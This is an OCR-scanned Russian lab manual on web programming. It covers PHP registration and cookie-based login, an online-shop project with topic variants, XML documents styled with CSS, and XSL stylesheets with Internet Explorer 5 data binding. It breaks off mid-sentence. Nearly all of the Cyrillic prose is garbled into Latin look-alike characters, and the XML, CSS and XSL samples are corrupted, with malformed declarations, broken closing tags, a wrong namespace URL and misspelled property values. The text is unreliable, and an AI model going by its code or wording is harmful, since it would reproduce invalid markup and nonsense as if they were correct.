[lenb: mosiydyeHre HABBIKOB PETUCTPALIMKM U aBTOPU3aIlUK MOJIb30BaTeel Ha caiite B PHP.
XOJ PABOTHI:



3ananue Ne 1. JloGaBbTE K CKpUIITY IPUBEACHHOTO B JIa00paTopHOU padoTe No 5 BO3MOKHOCTH pErUCTpaIif
U aBTOpPHW3ALMU TOJIb30BaTeNsl, OO0ECIeYybTe BO3MOXKHOCTH JOOABIICHUS COOOIICHHWH TONBKO OT
3aperuCTPUPOBAHHBIX MOJIb30BaTeNel. Peanu3yiite aBTopusaiuto uepe3 cookie-haitb.

3aganue Ne 2. Coznath (hopMy, C TOMOIILIO0 KOTOPOH IMOTH30BATENh MOXKET 33]1aTh CBOM HUK M BHIOPATh I[BET
(doHa cTpaHHUII caiiTa.

3aganme Ne 3. Mcrnonb3oBarh cookie asisi TOro, yTtoObl NMPUBETCTBOBAThH IOJIB30BATENI MO WMEHHM Ha
CJICAYIOIIMX CTPAHUIIAX C 3aIaHHBIM (POHOM.

JlabopaTopHas padora 7 «Co3nanue npoekta « MHTepHeT Mara3mu»»

Ilenb: nmonyyeHue HaBBIKOB co3/aHus Npoekra «MHTepuer-marasun» B PHP.
XOJ PABOTBI:
3aganue Ne 1. Co3nartb BeO-caiiT “MHTepHeT-Maraszun”. Heo6xoauMo co31aTh AIEMEHT au3aitHa GopMy Juist
3aKa3a ToBapa B HMHTEpHET-marasuHe. Peann3oBaTh cpeicTBamMH s3blka HamucaHus cuenapues PHP
00paboTKy 3aKa30B KJIMEHTOB IO KaTayory. J[ist 3Toro HeoOX0auMo co3AaTh ClieHapUii, KOTOPBII CYUTHIBAET
uH(popMmarnio u3 Gpopmsl s 006padotku. [lo pezynpTaTam 3akasza Ha caliTe HEOOXOIUMO BBIBECTH Ha DKPaH
COJIEP’)KUMOE KOP3HUHEI TOJIH30BATENIS C pACCYMTAHHON CyMMO# 3aka3a. Ha caiite Heo0X0IuMO OCYIIECTBUTH
MPOBEPKY BBOJAMMBIX TMOJb30BaTesieM NaHHBIX B (opmy. [Ipu oOpaboTke 3akaza cieqyeT HCIOIb30BaTh
MaTeMaTHuecKue (PYHKIMH, a TAKKE pa3IMIHbIC YCIOBHBIE OnepaTopsl. TemaTHka:

1) KHWKHBIN Mara3uH Hay4YHOH JUTEpaTyphl (3aKa3 KHUT B ONMPEICICHHOW HAydHOH 00J1acTH);

2) Mara3uH MporpaMMHBIX CPEICTB (3aka3 nmporpamm st DBM);

3) marasuH Buzeo (mokynka ¢puibMoB Ha DVD-auckax);

4) Mara3uH KOMIIBIOTEPHBIX UTP (3aKa3 KOMITbIOTepPHBIX urp Ha CD-nuckax);

5) My3bIKaJIbHBIN MarasuH (3aKka3 My3bIKaJbHBIX KOMIIAKT JHUCKOB);

6) BeTOYHBIN Mara3uH (3aKa3 JI0CTaBKH I[BETOB);

7) marasuH napoMeprur 1 KOCMETHKH (3aKa3 KOCMETHKU ¥ apBIOMEPHH 10 KaTaiory);

8) Mara3uH oeX /bl (3aKa3 OJICHK/IbI [0 KaTaJory);

9) ciopTUBHBIN MarasuH (3aka3 CIIOPTUBHOM (OPMBI U HHBEHTAPS);

10) Mara3uH Me0enu (3aka3 MeOesn, SJIEMEHTOB HHTEPhEPa U TOBAPOB JIJIS IOMA).
ITpu pa3paboTke BeO-caiiTa cBs3aTh Mex 1y coboit 10—15 Be6-cTpanui. B ucxonnom html-kozae ncnonbs3zoBatsb
KOMMEHTApUH KaXKJIOTO Tera.
3aganue Ne 2. Co3nath BeO-caiiT HHTEpHET-Mara3uH. Peanns3oBarh cpeicTBaMu si3bIKa HAMMCAHUS CLICHAPUEB
PHP o0paboTky 3aka3oB KJIMEHTOB IO Kartajory. HeoOxomumMo co3narh 3ieMeHT au3aiiHa ¢GopMmy Hu
peann3oBaTh COXpaHEHUE JaHHBIX MOJIb30BaTeNs B TEKCTOBBIN ¢aitn. Opranu3oBarh padoTy MO OTKPHITHIO,
IPOCMOTPY W 3allUCH JaHHBIX B ¢aitn. [TomuMo 3TOro, HE0OXOAWMO PeaTr30BaTh BHIBOZ COIEPKUMOTO
¢aitna Ha sKkpaH. PeanusoBarh cuertunk mnocemnieHuid. OOpaboOTKy cienyeT peann3oBaTh IO TeMaTHKe
nabopatopHoit padoter Ne 3. Tlpu pa3paborke BeO-caiita cBsizaTh Mexay coboit 10—15 Be6G- crpanum. B
ucxonHoM html-ko/ie ucronp30BaTh KOMMEHTAPUN KaXJI0TO Tera.
3apanmue Ne 3. HanmcaThs CKpUNT, NO3BOJISIFOIIUI OPraHU30BaTh HHTEPHET-Mara3uH.
Criucok TOBapoB XpaHUTCS B 0a3e TaHHBIX Ha CTOpOHE cepBepa. Ilokynarenb JOJKEH UMETh BO3MOKHOCTh
IPOCMOTPETh BCE HMEIOIIMECS B HATWUYMW TOBaphbl W CHeNaTh 3aka3. [lokymarenb JODKEH WMETh
BO3MOXHOCTbH CIeJIaTh 3apoc, HapuMep, YKazaB HHTEpPBaJ [IeH, KOTOPBIH €ro ycTpanBaeT WU Kakue-I1uoo
npyrue naHHele. Jlo Tex mop, Moka MOKymaTelh BBIOMPACT OTAEIBbHBIC TOBAphI, €r0 3aKa3 XpaHUTCS Ha
CTOpOHe KineHTa B Buae cookie. ITocie Toro xak mokynarenb copMupoBaj 3akas, 3aKa3 OTChUIAETCS Ha
CTOPOHY CepBepa, TJe MOKYIKa TOBapa YUUTHIBAETCs B 0a3e TaHHBIX.
Bapuanmot unousuodyanvuvix 3adanuil
1. B 6a3e naHHBIX conepkuUTCs HMH(OpMalMs O KHHUTax: aBTOp, Ha3BaHHe, HM300pa’keHue OOJIOKKH,
U3/1aTeIbCTBO, I'OJ] BHIITYCKA, IICHA.
2. B 6a3e manHBIX coaepkuTcs mHGopMaius o0 aBTOMOOWIISX: MOJIETh, W300paKeHUEe aBTOMOOWIIS, TOJ
BBIITYCKa, TUI Ky30Ba, MOIIIHOCTH JIBUTATEs, I[BET, IICHA.
3. B 0aze maHHBIX comepkuTCs HHPOPMAIHSA O TYPUCTUUYECKHX IMOE3JIKaX: CTpaHa, Topoj, W300pakeHHe
TOPOACKOH JI0CTONPUMEUaTeIbHOCTH, KOJIMYECTBO THEH, AaTa MOe3/IKH, KJIacC OTeJIsl.
4. B 6a3e maHHBIX COAEPKUTCS HHGOPMAIIUS O KypHajlaX: Ha3BaHHE, N300pakKeHUE 00JI0KKH, TOJT BBITTYCKa,
HOMED, U3/aTeIbCTBO, YHCIIO CTPAHMIL, IICHA.
5. B 06a3ze manHBIX comepkuTcs WH(OpMaIMsg O MecTaX B OTeJe: Ha3BaHME OTENs, KiIacc HOMEpa,
n300pakeHre HoMepa, KOJIMYEeCTBO MECT B HOMEpE, IIeHa.



JlabopaTopHas padora 8. «CocraBjieHue cxeM XML-10KymMeHTOB»
enb: o3HakoMuthest ¢ XML, HayuuThest pa3dbupars cTpykrypy XML-nokymeHTa.
XOJ PABOTBI:
Teopemuueckue ceedeHus

XML (Extensible Markup Language) — 3To sS3bIK pa3METKH, OIMCHIBAIOIIMIA IENIbIA KIIACC 00BEKTOB
JAHHBIX, Ha3bBaeMbIX XML— MOKyMEeHTaMu. DTOT SA3bIK HCIIOIB3YETCs B KAYECTBE CPEJICTBA JUISI OMMUCAHUS
rpaMMaTUKU JPYTHX A3BIKOB U KOHTPOJIS 32 MPAaBWJIBHOCTHIO COCTABIIECHUSI JOKYMEHTOB, T.€. caM IO cebe
XML He COAepKUT HUKAKUX TATOB, MPEAHA3HAYCHHBIX JJISI Pa3METKH, OH MPOCTO OIMPEACTSET MOPSIOK HX
CO3/IaHHUS.

Cam nporiece co3ganuss XML nokymeHTa oueHb IpocT U TpeOyeT OT Hac Juib 0a30BbIX 3HaHui HTML
U NIOHMMAaHUA TeX 3a/a4, KOTOPbIe Mbl XOTHM BBITIOJIHUTE, UCTOIB3Yyst XML B KauecTBe s3bIKa pa3METKH.
Takum o0Opa3oM, y pa3paOOTUYMKOB MOSIBJISETCS YHHMKaJIbHAasi BO3MOXKHOCTH OIPEIENATh COOCTBEHHBIE
KOMaH/Ibl, MMO3BOJISIONIME UM Haubosiee >PPEKTUBHO OIMpeNesaTh JaHHbIE, COAepkKAIIUecs B JOKYMEHTE.
ABTOp JOKYMEHTA CO3JIa€T €T0 CTPYKTYPY, CTPOUT HEOOXOAUMBIE CBS3H MEXK]y dJI€EMEHTAMH, UCIIONb3YsI T€
KOMaH/Ibl, KOTOPBIE YJOBIIETBOPAIOT €ro TpeOOBaHUSAM, U JOOMBAETCA TAKOTO THMA Pa3METKH, KOTOPOE
HEO00XOIUMO €My JUIsl BHIITOJIHEHUS OTlepaliii MpoCcMOTpa, MOKCKA, aHAJIN3a JOKYMEHTA.

XML no3BoisieT OCYIIECTBIATh KOHTPOJIb 32 KOPPEKTHOCTHIO JIaHHBIX, XPaHALIUXCA B TIOKYMEHTaX,
MPOU3BOUTH IMPOBEPKH HEPAPXUUYCCKUX COOTHOIICHWH BHYTPH JTOKYMECHTAa M YCTAHABIIMBATH CIIUHBINA
CTaHAapT Ha CTPYKTYPY JOKYMEHTOB, COJIEPKUMBIM KOTOPBIX MOTYT OBITh CaMble pa3jiHyHbIe JaHHBIE. JTO
03HAYAECT, YTO €r0 MOYKHO HCIIOIH30BATh MPH MTOCTPOCHUH CIIOXKHBIX HH(OPMAITMOHHBIX CHCTEM, B KOTOPBIX
OUCHb BAXKHBIM SBJSETCS BOMpoc oOOMeHa uWHGOpMalnUed MeXAYy pa3IudyHbIMH PUIIOKEHUSMH,
pabortaronmu B oHOM cucteme. Co3nnaBasi CTPYKTypy MeXxaHu3Ma oOMeHa WH(POpMallui B CaMOM Hauaje
paboThl HaJ MPOEKTOM, MEHEIKEP MOXKET M30aBUTH ce0si B OyAyIIeM OT MHOTHX MPOOJeM, CBSI3aHHBIX C
HECOBMECTUMOCTHIO UCTIOIB3YEMbIX PA3TUIHBIMU KOMITIOHEHTAMHU CHCTEMBI (DOPMATOB JaHHBIX.
3apanme Ne 1. Coznaiite XML-10KyMeHT.
index.xml
<7xml version="1.0" encoding="windows-1251" 7>
<notepad=>
<note 1d="1" date="11/04/99" time="13:30">
<subject>Baxunaa genopaa ectpeda</subject>
<importance’>
“text=

Hago ectpetuteca c <person 1d="1625">Heanom

HeanopmgeM</person=, npegeapuTelIbHO
MO3BOHUE eMy o Tened oHy <tel >123-12-12</tel=
<ftext=
<fnote>
<note 1d="2" date="12/04/99" time="13:00">
<subject>IlozeoHuTE JoMo H</subject™
<text=
<tel>124-13-13</tel>
<ftext=
<fnote>

<note 1d="3" date="13/04/99" time="5:00">
<subject>Iloexate c Maxcom Ha prbanky</subject>
<text>
Hanomuure Maxcy 4Tob r 0 H cBapun Kay u B3A1 bIECHA.
<tel>124-10-13</tel >
<ftext=
<fnote>

<fnotepad=>
Cosznaiite daitn cogepkanuii cTuiab opopmiaeHus 1.css.



l.css
text { font-family: Verdana, Aral, Helvetica, sans-zenf’; font-size:
12px, font-style: normal; color: #FFFFFFE, background-color: #202036}

subject { font-family: Analfont-size: 12px; font-style: normal;
color: white; background-color gray}

tel {color vellow}
Pesynomam

[Hano ectpemiThca ¢ Vieanom MBaHOBHYEM, TP €OB3PHTENIEHO NO3BOHHE MY IO
enedory 123-12-12 124-13-13 _.. (HanoManTe Makcy
oOHI OH CBApHJI Kalny | B3n 6nécra 124-10-13

3aoanue Ne 2. Cozmaiith XML-ZOKYyMEHT, KOTOpBIH OyIeT coaepkaTth HH(GOpPMAIMIO IO BalleH
CHEIMAIbHOCTH B IPYTUX YHUBEPCUTETaX (YHUBEPCUTET, IPOXOIHOM Oai, miiaH Habopa, ropoJl, B KOTOPOM
pa3menieH yHuBepcurer). [Ipu BeIoNHEHUN 3aJaHUS UCIIONb3YHUTE CSS.

3aoanue Ne 3. Coznaiite XML-10KyMEHT ¢ MOAKIIOYEHUEM CSS B COOTBETCTBUU C PUCYHKOM.

HeuT

|

{ 4 roxa

| Pycck A/ De10pVOCKH, MAaTeMaTHKA, (hH3HKA
{
13

75 wes10BeRA

253 6araa

HOHT

Pyvockni/Oetopyecknil, MateMarika, isuxa

75 we10BeKA

278 fariosn

I = = .
- ———
L
1
l

_TOHM5

Pyvockuit/Geopveeknil, Maremarnxa. dizmxa

|

L

| 75 "eT0BeKA
]

- e
263 Gatia

JladopaTopuasi pa6ora 9. «OTodpakenne XML-10KyMeHTOB pa3InYHBIMHU CIIOCO0AMI
Lenb: 03HAKOMUTBCS €O crtocobamu oToOpaxeHuss XML-10KyMeHTOB.

XO/J PABOTBI:
Teopemuueckue ceedeHus

XSL sBnsercs mpunoxkennem XML, T.e. XSL-tabnuma mpeactaBiasieT co00W KOPPEKTHO
chopmupoBanHblii  XML-nokymeHT, koTopblii orBewyaerT mnpaBuiam XSL. Ilogo6Ho mrobomy XML-
TOKYyMeHTY, XSL-Tabnuia cTiiiel Colep KUT MPOCTON TEKCT, U BB MOYKETE CO3/IaTh €€ C IOMOIIBIO JIF000ro
TEKCTOBOT'O PENAKTOpA.

MoxHo cBsizaTh XSL-tabmuiy ctuneit ¢ XML-10KyMEHTOM, BKIIOYMB B JOKYMEHT WHCTPYKIIUIO IO
o0pabotke xml-stylesheet, koTopas uMeeT clieayIoIIyI0 0000IEeHHYIO (POPMY 3aITUCH:
<?xml-stylesheet type="text/xsl" href="3.xslt"?>

Tabnuua crtuiel mpu 3TOM JOJDKHA pa3MeIaThesl Ha TOM JKe JoMeHe, yTo U XML-nokymeHT, ¢
KOTOPBIM BBI €€ CBSA3BIBACTE.

Ecnu BBl He cBszanun XML-gokymeHnT Hu ¢ CSS-tabnuneit, Hu ¢ XSL-tabnuneit cruneit, opaysep
O0TOOPA3UT IOKYMEHT C TIOMOIILI0 BCTPOCHHOU XSL-Tabmuibl, KOTOpasi UCMOJIB3YETCs IO YMOJYaHUI0. JTa
tabmuua cTwied oroOpaxkaer wucxomHelii XML-TekcT B BHAE JepeBa €  BO3MOXKHOCTBIO
CBEPTHIBaHUs/pa3BEepPThIBAHUS YPOBHEH.



B otnmume ot CSS, conepkameii nmpaBuia, XSL-tabnuia CTHICH BKIIOYAET OJWH WIJIH HECKOJBKO
1a0JIOHOB, KaXIblii M3 KOTOPBIX COJCPKHUT HMH(MOPMAIMIO IS OTOOpaXEHHsS B OIpPEICICHHONH BETBU
31eMeHTOB B XML-n1oKymeHTe.

Kaxnas XSL-tabnmuna crtumieil qoikHA WMETh 3JeMEeHT JIOKYMEHT, M3BECTHBIH Kak KOPHEBOUH
3JIeMEHT, sBisieTcss XML-a1eMeHTOM BepXHEro ypoBHS, KOTOPBINA COJEPKUT BCE OCTANIbHBIE 3JIEMEHTHI.

<?xml version="1.0" encoding="UTF-8"?>

<xsl:stylesheetversion="1.0" xmlns:xsl="http://www.w3.org/XSL/Transform">

Onement JlokymeHT xsl:stylesheet crmyXUT He TONBKO XpaHWIMIIEM IPYTUX 3JIEMEHTOB, HO TaKKe
uaeHTUGUIUpyeT NToKyMeHT Kak XSL-tabmuiy ctuneit. Bce XSL-3aneMeHTh TprHaAIekKAT TPOCTPAHCTBY
uMeH Xsl, T.e. BeI mpeaBapsieTe uMst Kaxaoro XSL-anemenra npedukcom xsl:, 0003HaYaIONIIM IPOCTPAHCTBO
UMEH.

Onement [lokyment xsl:stylesheet XSL-taGmuiel cTuneil JODKeH coaepikaTh OAMH HIIM HECKOJIBKO
11a0JI0HOB 3JIEMEHTOB, KOTOPBIE JUIsl KPaTKOCTH Oy/ieM Ha3bIBaTh I1a0JIOHAMHU.

<xsl:template match="/">

<l-— JJOUEpHHUE DIIEMEHTHI ... -->

</xsl:template>

bpaysep ucnonb3yer mabiaoH Asis 0TOOpakeHHs OMpEeesIeHHON BETBU AJIEMEHTOB B uepapxuu XML-
JOKYMEHTa, C KOTOPHIM BBl CBsi3pIBaeTe TaOmuily cruwied. AtpuOyr match mraGmona ykaspiBaeT Ha
OTIpEICNICHHYIO BETBb.

3nauenue atpubyra match Hocut Ha3BaHume oOpasma (pattern). OOpaszenm B manHoM mpumepe (/")
IIPEACTABIISIET KOPHEBOM 3JIeMEHT Bcero XML-nokymenTa.

Kaxxmas XSL-tabnuiia ctuieii 10KHA COAePIKaTh OJWH M TOJIBKO OJMH I11a0JI0H ¢ aTpuOyToM match,
KOTOpBIH nMeeT 3HaueHue "/".

Kopneoii o6pazer; ("/") He mpencrarisier 37meMeHT JlokyMeHT (Wim KOpHEBOH 3nemeHT) XML-
nokyMmeHTa. OH MpeacTaBisieT BeCh IOKYMEHT, [l KOTOPOTO AJIeMeHT JIOKyMEeHT SBIseTcs TouepHuM (T.e.
OH aHAJIOTMYEH KopHEeBOMY y3i1y Document B 00bekTHOM Moienu jokymenTa DOM)

[Tpumep ucnonpzoBanust XSL-TabMuUIBl CTUIICH I TPEIOCTaBIECHUS HHPOPMAIIMH B BUJIE TAOIHIIBL:

<?xml version="1.0" encoding="UTF-8"?>

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.0rg/1999/XSL/Transform">

<xsl:template match="/">

<htmI>

<body>

<h2> Cnucok criennansaoctet Gpakynprera UT</h2>

<table border="1">

<tr bgcolor="#9acd32">

<th style="text-align:center">Cnenuansnocth</th>

<th style="text-align:center">Cpoxk o0yuenus</th>

<th style="text-align:center">ITpeamers [{T</th>

<th style="text-align:center">ITnan nadopa</th>

<th style="text-align:center">IIpoxoamoii 6amn</th>

</tr>

<xsl:for-each select="FACULTY/SPECIALIZATION">

<tr><td><xsl:value-of select="NAME"></td>

<td><xsl:value-of select="TIME"></td>

<td><xsl:value-of select="EXAM"></td>

<td><xsl:value-of select="PAGES"></td>

<td><xsl:value-of select="PASSING"></td>

</tr>

</xsl:for-each>

</table>

</body>

</html>

</xsl:template>

</xsl:stylesheet>

Omnepatop myTd B 3HaueHHM aTpuOyTa Select oTHocuTCs K TekyieMm yajeMeHTy. Kaxplii KOHTEKCT
BHYTpH XSL-Tabiuipl cTUiIeH OTHOCHUTCS K TEKyIIeMy dJeMeHTy. Eciu Bel omyctuTe atpuOyT select mist


http://www.w3.org/XSL/Transform
http://www.w3.org/XSL/Transform
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XSL-anemenTta value-of, a3eMeHT OyJeT OCYIIECTBISTh BBIBOJ] TEKCTOBOTO COAEPKUMOTO TUTIOC TEKCTOBOE
COZIEPKUMOE BCEX JTOYEPHUX IIEMEHTOB B TEKYILMM DJIEMEHT.

[Topsimok snementoB value-0f B mrabioHe onpesenseT mopsaok, B KOTOPOM Opayszep 0ToOpaXkaeT 3TH
ayieMeHThI. TakuM 00pazoM, axke U3 dTOU MPOCTON TaOIUIIBI CTHIICH BBl MOXKETE MOHATH, YT0 XSL- Tabnuia
CTHIIEH sBIseTCs ropa3o Oosiee rudkoii, yem CSS, koTOpas Bcerja 0oToOpakaeT JIEMEHTHI B TOM HOPSIKE,
B KOTOPOM OHHU CJIEAYIOT B IOKYMEHTE.

OnemeHTt for-each BBINOIHSAET 1BE OCHOBHBIE 3a/1a4H:

—OCYIIECTBISIET BBIBOJ OJIOKA 3JIEMEHTOB, COJEPKAIIMXCSI BHYTpH 3eMeHTa for-each, moBropss ero
i kaxaoro XML-amemeHnTa B JIOKyMEHTe, OTBeYaroliero olOpasily, MpUCBOCHHOMY aTpulyty select
snemMeHnra for-each;

—BHYTpH dJieMeHTa for-each 3aaeT Tekymmii aeMeHT, ycTaHaBIMBaeMbIil aTpudyToM select anemenTa
for-each.

He nyxHO Bkitouath B XSL-ma0i0H 35eMeHThl, npeactaBisitonme nemMenTet HTML wnun BODY,
KOTOPBIC SIBJISIFOTCSl CTaHAAPTHBIMU cOCTaBHBIMU dacTsmMu HTML-cTpanuipl, mOCKOIbKY Opay3ep cam
s dexTrBHO UX GopmHpyeT.

Kaxnerit u3 osmementoB, mnpencrapisiommx HTML-pasmerky, H0mkeH OBITh  KOPPEKTHO
chopmupoBanHbiM XML-31emenToM, a Takxke ctanaapTHeiM HTML-anementom. He 3abbiBaiite, uro XSL-
tabnuua ctuiiel spisercs XML-nokymeHTOM.
3aoanue Ne 1. Opopmure 3aganue nadoparopuoit pabotsr Ne 8 uepes noaxinrouenue XSL.

Omoobpadsicenue XML-0okymenma ¢ nomowbto c8:13v18aHUS OAHHBIX

MeTton cBsi3bIBaHUS NaHHBIX TpeOyeT cozpanusi HTML-ctpanuiisl, cBsa3biBanus ¢ Heh XML- nokymeHTa u

ycTaHOBJIeHMs B3aumonencTBuil cranaaptHbix HTML-anemenToB Ha cTpanuue, takux kak SPAN win

TABLE, ¢ anementamu XML. B nansueiimem HTML-31eMeHThI aBTOMaTHYECKH 0TOOpakaroT HHPOPMALIUIO

13 CBA3aHHBIX ¢ HUMU XML-31€MeHTOB.

JIBa OCHOBHBIX 3Tana IpH CBSA3bIBAHUU JIAHHBIX:

1. VYcranoska cBa3u XML-nokymenta ¢ HTML-cTpanuiieii, Ha KOTOpOi Bbl XOTUTE OTOOPa3UTh JaHHBIE

XML. Otort mar 00bruHo peanusyercs BkmoueHneM HTML snementa ¢ umenem XML B HTML- ctpanuiy.

Hanpumep, cnenyrouuii anement Ha HTML-ctpanune cBsa3siBaer XML-gokymenT Book.xml co ctpanunei:
<XML ID="dsoBook" SRC="Book.xml"></XML>

2. Cuemienne HTML-anementoB ¢ XML-anementamu. Korna Bo cieruisiere HTML-anementst ¢ XML-

anementoM, HTML-anemeHT aBTOMaTtudecku oToOpaxkaer coaepxkumoe XML-anemenrta. Hampumep,

cinenyromuid smeMeHT SPAN na HTML-ctpanune cuemnnen ¢ snementom AUTHOR cBsizannoro XML-

JIOKYMEHTA!

<SPAN DATASRC="#dsoBook" DATAFLD="AUTHOR"></SPAN>

B pesynbrare HTML-3nement SPAN otoGpaxaer conepxumoe XML-anementa AUTHOR.

Uro6s! oTobpazute XML-nokyment Ha HTML-cTpanuiie, Bbl 10JKHBI YCTaHOBUTH €T0 CBSA3b CO CTPAHUIICH.
Cawmplii pocToii myTh crenath 310 B Microsoft Internet Explorer 5 — Bkimtounts B crpanuiy HTML-3nement
c umeHeM XML, Tak Ha3pIBaeMbIi parMeHT JaHHBIX. MOYXHO HCTIOB30BATh OJIHY U3 ABYX Pa3JIMUHBIX (hOPM
3amucu Juis (pparMeHTa JaHHBIX.

B nepBoii hopme Beck TekeT XML-10KyMeHTa MOMENIAeTCs MKy HadyalbHbIM U KOHEUHBIM TeTaMH
XML.

Bo Btopoii popme 3anucu HTML-anement ¢ umeneM XML ocTaercs mycTbIM U COJIEPKUT TOJIBKO

URL XML-nokymenTa.
Korma ©Opay3ep otkpeiBaet HTML-cTpanuiy, ero BcTpoeHHbIH XML-mporeccop CHHTaKCHYECKH
aHanmu3upyer XML-nokyment. Bpaysep Takxke co3gaeT mporpaMMHBIN 0ObEKT, KOTOPBII HOCUT Ha3BaHUE
Oo6wbexT ucxoanbix nanHeix (Data Source Object DSO), koTopsiit xpanut nganasle XML u obecrnieunBaet
nocTyn K 3tuM AaHHbIM. DSO xpanut nanasie XML kak HaOop 3amucei, T.e. MHOXKECTBO 3aIllUCeH M MX
HOJIEH.

Korga Bol cuemnsere HTML-anement ¢ XML-anementom, DSO aBTOMaTnuecku MnpeaocTaBlisieT
3HaueHne XML-35emMenTa U ynpaBiser BceMH ero coiictBamu. DSO Takke MO3BOJSET BaM HAMPSIMYIO
OCYILECTBIIATH JOCTYI M MaHUIYJIMPOBAHUE MMEIOIIUMCS HaOOpPOM 3amucell MOCPEICTBOM psiia METO/IOB,
CBOWCTB M COOBITUH.

Ecmu Bel oTkpbiBaere XML-nokymeHT uepe3 ¢parmeHT aaHHbix Ha HTML-ctpanune, Internet
Explorer 5 nmpoBepsier, sIBIsieTCA U JOKYMEHT KOPPEKTHO c(POPMHUPOBAHHBIM, & TAK)KE€ — €CIIU JOKYMEHT
BKJIIOYAeT OOBSBJICHUE TUIIA JTIOKYMEHTA — SIBJISIETCS JIM OH BaTUAHBIM. OTHAKO B TOM CITy4yae, €CJIH JOKYMEHT



comepxuT omuoOKy, Internet Explorer 5 mpocto He Oyner oroOpakats nanHbie XML, He BBIBOIS COOOIIICHUE
00 omnoOke.
Br1 moxkete ocymectBisiTh cuemienue HTML-snementoB ¢ XML-3neMeHTaMu IByMsi OCHOBHBIMH
croco0amu.
TabmnuHoe cuemienne, uro o3HadaeT cuermienrne HTML-snementa TABLE ¢ manneiMu XML, Tak
YTO B TaOJIMIE aBTOMATUYECKU 0TOOpaXkaeTcs Bech HaOOop 3amucell, mpuHaaiexammx XML-10KkyMeHTy.
<TABLE DATASRC="#dsolnventory" BORDER="1" CELLPADDING="2">
<THEAD> <TH>Title</TH> <TH>Author</TH> </THEAD> <TR ALIGN="center">
<TD><SPAN DATAFLD="TITLE"STYLE="font-style:italic"></SPAN></TD>
<TD><SPAN DATAFLD="AUTHOR"></SPAN></TD> </TR> </TABLE>
Ecnu XML-10KyMEHT COACPKUT MHOTO 3allMCeid, MOKHO BOCIIOJIb30BaThCSI MOCTPAHUYHBIN BBIBO, JJIS
3TOr0 HEOOXOAUMO:
YcTaHOBUTE MaKCHMAJIBHOE YHCIIO 3alUCEH, KOTOpoe OYIET BBIBOJWUTHCS Ha CTPAHUIE C IOMOIIBIO
atpubyra DATAPAGESIZE s>nementa TABLE.
[TpucBoiiTe yHuKanpHbIi uaeHTHGUKaTOp aTpudyTy ID 3mementa TABLE.
<TABLE ID="InventoryTable" DATASRC="#dsolnventory" DATAPAGESIZE="5">
JIst iepeMeInieHust MeKIy 3aluCsIMU UCIOJIb3YIOTCs MeTo bl 37ieMeHTa TABLE Takue kak FirstPage,
previousPage, nextPage, LastPage.
J1is 0TOOpaxeHus uepapXuIecKor CTPYKTYPBI 3alUcel MOYKHO HCIIOJIb30BATh BIOKEHHBIE TAOTHIIBI.
Hamnpumep, pazmeTka J1si BI0OKEHHON TaOJIUIIBI MOKET BBITJISIIETh CIEAYIOIUM 00pa3oM:
<TABLE DATASRC="#dsolnventory" DATAFLD="BOOK" BORDER=0 CELLSPACING=10>
CuerieHye Mo OTIOENBLHBIM 3aluCsIM , YTO O3HAYaeT cleIUIeHre He TaOau4HbIX 3neMenTtos HTML
(manpumep, s3meMeHToB SPAN) ¢ XML-35memeHTamMu TakuM 00pa3oM, 4To 3a OJIMH pa3 0TOOPaKaETCs TOJIBKO
OJ[HA 3aITNCh.
<SPAN STYLE="font-weight:bold" DATASRC="#dsoBook" DATAFLD="TITLE"></SPAN>
HyxHo yuutsiBath, yTo HTML-351€MeHT MOXKeT 0ToOpa3uTh 3a pa3 ToJabKO o HY 3anuch DSO (00beKT
UCXOJHBIX JaHHBIX), accouuupoBaHHyio ¢ XML-mokymenToM. [l moctyma K IPYTHM 3allUCsAM HYKHO
BOCITOJIB30BAaThCA METOJIaMU ISl TepeMenieHus Mexay 3amucsimu moveFirst, movePrevious, moveNext,
moveLast, move, MPUHAICKAIUMU 00BEKTY recordset DSO.<BUTTON
ONCLICK="dsolnventory.recordset.moveFirst()"> |&lt; First </BUTTON>Kpome mpencraBieHHBIX
CYIIECTBYET €Ille psI APYTUX Coco00B a7t cBsi3biBanusl He TabnuuHbix HTML-31emMeHTOB. DTO MOTYT OBITH
Kak nHauBHaAyanbHble HTML-31€MeHThI, HCTIOIb3yEeMbI€ 1T CBA3bIBAHUS TAHHBIX MO OJHOW 3aMKCH, TaK U
HTML-351eMeHTHI, coziepxKalmecs B CLIEIIJIEHHON TabIuIEe HTML. Hanpumep:<A
DATASRC="dsolnventory" DATAFLD="REVIEWS"> reviews</A>
Ecnu HeoOxoaumo otobpa3uTh atpudyT snementa XML-mokyMeHTa, TO CleAyeT YYUThIBaTh, YTO
DSO wu snemeHnTt, u arpulyr OyAeT XpaHUTh Kak BJOKeHHbIe 3amucu. CrenoBaTelibHO, HAbOp 3amuceit
MPEBPATUTCS B HEpapXUUYeCKUi HAOOp, W JUIsl OTOOpakeHUs BIOKEHHBIX 3alucedl HEoOXOauMo OyneT
BOCITOJI30BaTHCS BIOKEHHOU Tabmuiiel. YToOb IMETh BO3MOKHOCTh OTOOPa3UTh KAk CHMBOJILHBIC TaHHBIE,
TaK ¥ aTpuOyT KaK BIOKEHHYIO 3alHCh, CIEAYyEeT UMETh B BHIY TO 00CTOSATENbCTBO, uTo DSO ucnonsiyet
cnernpanbHoe uMst STEXT jutst oOparieHns Ko BceM CHMBOJIBHBIM JJAHHBIM 3JIEMEHTA, HE BKJTFOYAs ITPH 3TOM
3HaueHUN aTpulyTa, UMS TONA Il KOToporo OyneT coBmajaTh ¢ MMEHeM arpubyTa. Bel Moxerte
ucnonp3oBath UM $TEXT B kadecTBe MMEHHM OIS, YTOOBI CBS3aTh SUCHKY TAOJHUIBI C CHMBOJIbHBIMH
JAHHBIMU, COJIEp KaIllUMHKCS B 3arucH 3neMenTa. Hanpumep:
<TABLE DATASRC="#dsolnventory" DATAFLD="AUTHOR"> <TR> <TD><SPAN
DATAFLD="$TEXT"></SPAN></TD> <TD><SPAN DATAFLD="Born"></SPAN></TD>
</TR></TABLE>
3adanue Ne 2. YcraHoBUTh B3aumojeiictBue craHgaptHbix HTML-anemeHToB Ha cTpaHuie, Takux Kak
SPAN u TABLE, ¢ anemearamu XML.
Omobpascenue XML-0oxkymenma ¢ nomowvro DOM
[Ipu nanmcanuu cuenapus Bol coznaere HTML-cTpanuily, cBa3piBaete ee ¢ XML-nmokymeHTOM 1M
MMeeTe TOCTYI K UHAUBUAYaTbHBIM XML-351eMeHTam ¢ MOMOIIIbIO CIIeHAIbHO HAMTMCAHHOTO KOJa CLIEHAPUS
(JavaScript mmm Microsoft Visual Basic Scripting Edition [VBScript]). bpay3ep Bocnpuaumaer XML-
